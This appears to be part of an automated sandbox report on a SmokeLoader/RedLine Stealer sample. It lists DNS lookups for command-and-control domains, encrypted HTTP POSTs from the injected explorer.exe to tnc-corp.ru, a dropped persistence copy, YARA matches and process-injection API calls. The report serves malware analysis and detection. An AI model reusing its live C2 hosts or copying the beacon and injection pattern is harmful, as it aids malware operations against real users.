Oct 24, 2024 18:39:27.112143040 CEST	1.1.1.1	192.168.2.4	0x236	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:38.116784096 CEST	1.1.1.1	192.168.2.4	0x256b	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:40.602171898 CEST	1.1.1.1	192.168.2.4	0x6b8e	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:46.820019007 CEST	1.1.1.1	192.168.2.4	0xd3a0	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:46.820038080 CEST	1.1.1.1	192.168.2.4	0xd3a0	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:46.820044041 CEST	1.1.1.1	192.168.2.4	0xd3a0	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:46.820339918 CEST	1.1.1.1	192.168.2.4	0xd3a0	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.078646898 CEST	1.1.1.1	192.168.2.4	0xe9dc	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.078690052 CEST	1.1.1.1	192.168.2.4	0xe9dc	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.078747988 CEST	1.1.1.1	192.168.2.4	0xe9dc	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.078775883 CEST	1.1.1.1	192.168.2.4	0xe9dc	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:39:58.111707926 CEST	1.1.1.1	192.168.2.4	0xf7fa	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:04.223443985 CEST	1.1.1.1	192.168.2.4	0x5143	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:04.223489046 CEST	1.1.1.1	192.168.2.4	0x5143	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:04.223519087 CEST	1.1.1.1	192.168.2.4	0x5143	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:04.223643064 CEST	1.1.1.1	192.168.2.4	0x5143	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609256029 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609308958 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.124.145.196	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.46.236.4	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.101.193.110	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		187.204.82.117	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.164.127.217	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		123.213.233.131	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		201.233.78.169	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		220.125.3.190	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		186.137.126.27	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:11.609339952 CEST	1.1.1.1	192.168.2.4	0xaf62	No error (0)	tnc-corp.ru		189.61.54.32	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.584759951 CEST	1.1.1.1	192.168.2.4	0xed1f	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.584814072 CEST	1.1.1.1	192.168.2.4	0xed1f	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.584844112 CEST	1.1.1.1	192.168.2.4	0xed1f	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.584871054 CEST	1.1.1.1	192.168.2.4	0xed1f	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:18.607841015 CEST	1.1.1.1	192.168.2.4	0x647d	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:22.690511942 CEST	1.1.1.1	192.168.2.4	0x4f05	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:22.690557003 CEST	1.1.1.1	192.168.2.4	0x4f05	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:22.690587997 CEST	1.1.1.1	192.168.2.4	0x4f05	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:22.690624952 CEST	1.1.1.1	192.168.2.4	0x4f05	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.543411016 CEST	1.1.1.1	192.168.2.4	0xa3	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.543457985 CEST	1.1.1.1	192.168.2.4	0xa3	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.543488026 CEST	1.1.1.1	192.168.2.4	0xa3	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.543524027 CEST	1.1.1.1	192.168.2.4	0xa3	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:33.558007956 CEST	1.1.1.1	192.168.2.4	0xa1c4	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:39.825125933 CEST	1.1.1.1	192.168.2.4	0x6fb9	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:39.825176001 CEST	1.1.1.1	192.168.2.4	0x6fb9	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:39.825206041 CEST	1.1.1.1	192.168.2.4	0x6fb9	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:39.825730085 CEST	1.1.1.1	192.168.2.4	0x6fb9	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.966073036 CEST	1.1.1.1	192.168.2.4	0x5737	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.966123104 CEST	1.1.1.1	192.168.2.4	0x5737	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.966160059 CEST	1.1.1.1	192.168.2.4	0x5737	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.966187954 CEST	1.1.1.1	192.168.2.4	0x5737	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:51.989211082 CEST	1.1.1.1	192.168.2.4	0xc66d	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:58.242844105 CEST	1.1.1.1	192.168.2.4	0x1c4b	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:58.242886066 CEST	1.1.1.1	192.168.2.4	0x1c4b	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:58.242913961 CEST	1.1.1.1	192.168.2.4	0x1c4b	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:40:58.243598938 CEST	1.1.1.1	192.168.2.4	0x1c4b	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.679297924 CEST	1.1.1.1	192.168.2.4	0x61e5	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.679366112 CEST	1.1.1.1	192.168.2.4	0x61e5	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.679379940 CEST	1.1.1.1	192.168.2.4	0x61e5	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.679398060 CEST	1.1.1.1	192.168.2.4	0x61e5	Server failure (2)	volisc.biz	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:09.694380999 CEST	1.1.1.1	192.168.2.4	0x8f3b	Name error (3)	livbev.online	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:16.406060934 CEST	1.1.1.1	192.168.2.4	0x6b31	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:16.406099081 CEST	1.1.1.1	192.168.2.4	0x6b31	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:16.406109095 CEST	1.1.1.1	192.168.2.4	0x6b31	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 18:41:16.406213045 CEST	1.1.1.1	192.168.2.4	0x6b31	Server failure (2)	liverds.at	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tkmyedfqjdrh.net

tnc-corp.ru

kvrakpmwnkdw.net

krorrwetybapxgs.org

nhvxjbuepegldhgi.net

fhnrrbktckg.org

gucrgvicowjmruy.com

gdvvxgrxcdrf.net

iiqfsjirxhqu.com

lqjnthfwecsdh.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	189.164.127.217	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:37:38.814829111 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tkmyedfqjdrh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 344 Host: tnc-corp.ru
Oct 24, 2024 18:37:38.814851046 CEST	344	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 42 40 e9 86 Data Ascii: ;n$Rwz}t~{A*R? 9Yt M@NA .[k,vuB@:Nzob7duK00B5\'&ABW+oGb&g^i=`?w2` jItUod"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	50003	189.164.127.217	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:38:57.708359957 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://kvrakpmwnkdw.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 128 Host: tnc-corp.ru
Oct 24, 2024 18:38:57.708403111 CEST	128	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 74 0b e4 ec Data Ascii: ;n$Rwz}t~{A**R? 9Yt M@NA .[k,vut]/_mpUf`kNg<wp8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	50004	189.164.127.217	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:39:11.298638105 CEST	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://krorrwetybapxgs.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 362 Host: tnc-corp.ru
Oct 24, 2024 18:39:11.298665047 CEST	362	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 5a 46 cd 8d Data Ascii: ;n$Rwz}t~{A**R? 9Yt M@NA .[k,vuZFbdasCUNF-3\|9}8@EDJBLlmF-Pam<HJY],@_vW7!i&a[1h\|gX[7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	53258	189.164.127.217	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:39:31.057832003 CEST	285	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://nhvxjbuepegldhgi.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 129 Host: tnc-corp.ru
Oct 24, 2024 18:39:31.057862043 CEST	129	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 51 18 c7 ff Data Ascii: ;n$Rwz}t~{A**R? 9Yt M@NA .[k,vuQ9o{`Y1jL6Wcg)Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	58682	189.164.127.217	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:39:50.976933956 CEST	280	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://fhnrrbktckg.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 187 Host: tnc-corp.ru
Oct 24, 2024 18:39:50.976965904 CEST	187	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2b 43 bf ea Data Ascii: ;n$Rwz}t~{A*R? 9Yt M@NA .[k,vu+C^Rubx4HFwii]X'23JVC5Du%@<>\|,3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	58683	201.124.145.196	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:40:11.621645927 CEST	284	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gucrgvicowjmruy.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: tnc-corp.ru
Oct 24, 2024 18:40:11.621646881 CEST	228	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 5b 0a ed e6 Data Ascii: ;n$Rwz}t~{A*R? 9Yt M@NA .[k,vu[L2b1PI<zpN`~,bH(Mcy-!utD!)p`W"oAwqC'R2'%kv)"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	58684	201.124.145.196	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:40:26.494584084 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gdvvxgrxcdrf.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 119 Host: tnc-corp.ru
Oct 24, 2024 18:40:26.494601011 CEST	119	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 5d 07 ad 93 Data Ascii: ;n$Rwz}t~{A**R? 9Yt M@NA .[k,vu]&QVMK!R0LL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	58685	201.124.145.196	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:40:44.713968992 CEST	281	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://iiqfsjirxhqu.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 365 Host: tnc-corp.ru
Oct 24, 2024 18:40:44.714004040 CEST	365	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 53 25 e9 99 Data Ascii: ;n$Rwz}t~{A*R? 9Yt M@NA .[k,vuS%rL$;h>Ej puR0jR2=TT"Ea]_$7opE/K~_P^OtIVgNHOez,?O^r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	58686	201.124.145.196	80	2580	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 18:41:02.565610886 CEST	282	OUT	POST /tmp/index.php HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqjnthfwecsdh.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 295 Host: tnc-corp.ru
Oct 24, 2024 18:41:02.565638065 CEST	295	OUT	Data Raw: 3b 6e 24 12 f7 bc 1b 52 a9 d9 c0 77 0f 01 7a b9 7d 0f b9 e7 1f 74 90 15 0b 7e 7b e1 41 c5 c6 1d 98 2a ce 2a 02 19 52 11 ee ea 3f c9 20 39 d4 f0 02 aa 59 74 ef 20 0f f7 4d 40 17 7f 4e e2 19 1d c7 41 20 ff 2e 5b 0a 6b 2c 90 f4 76 0b 75 2e 5f cb 9e Data Ascii: ;n$Rwz}t~{A*R? 9Yt M@NA .[k,vu._[0`Nj7/vtBxL>n4[c:5:1zZPGKcujn0[!(Q[tvbc=?nuR(W-

Target ID:	0
Start time:	12:37:10
Start date:	24/10/2024
Path:	C:\Users\user\Desktop\kGSZ4dCqYh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\kGSZ4dCqYh.exe"
Imagebase:	0x400000
File size:	399'360 bytes
MD5 hash:	BAB1912F10355B913050217669ACC322
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.1862957209.0000000000620000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1862980152.0000000000630000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000000.00000002.1863029600.0000000000651000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.1862925311.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	12:37:16
Start date:	24/10/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff72b770000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	5
Start time:	12:37:35
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Roaming\dvjdfvr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\dvjdfvr
Imagebase:	0x400000
File size:	399'360 bytes
MD5 hash:	BAB1912F10355B913050217669ACC322
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000005.00000002.2090478524.0000000000550000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2090513435.0000000000560000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 00000005.00000002.2090678627.0000000001FF1000.00000004.10000000.00040000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000005.00000002.2090450815.0000000000520000.00000040.00001000.00020000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 39%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:40:01
Start date:	24/10/2024
Path:	C:\Users\user\AppData\Roaming\dvjdfvr
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\dvjdfvr
Imagebase:	0x400000
File size:	399'360 bytes
MD5 hash:	BAB1912F10355B913050217669ACC322
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	8.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	37%
Total number of Nodes:	108
Total number of Limit Nodes:	2

Executed Functions

Function 00401583 Relevance: 10.7, APIs: 7, Instructions: 203
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 00401643
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401670
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401693
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 004016B1
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016F2
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401723
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 00401745

Memory Dump Source

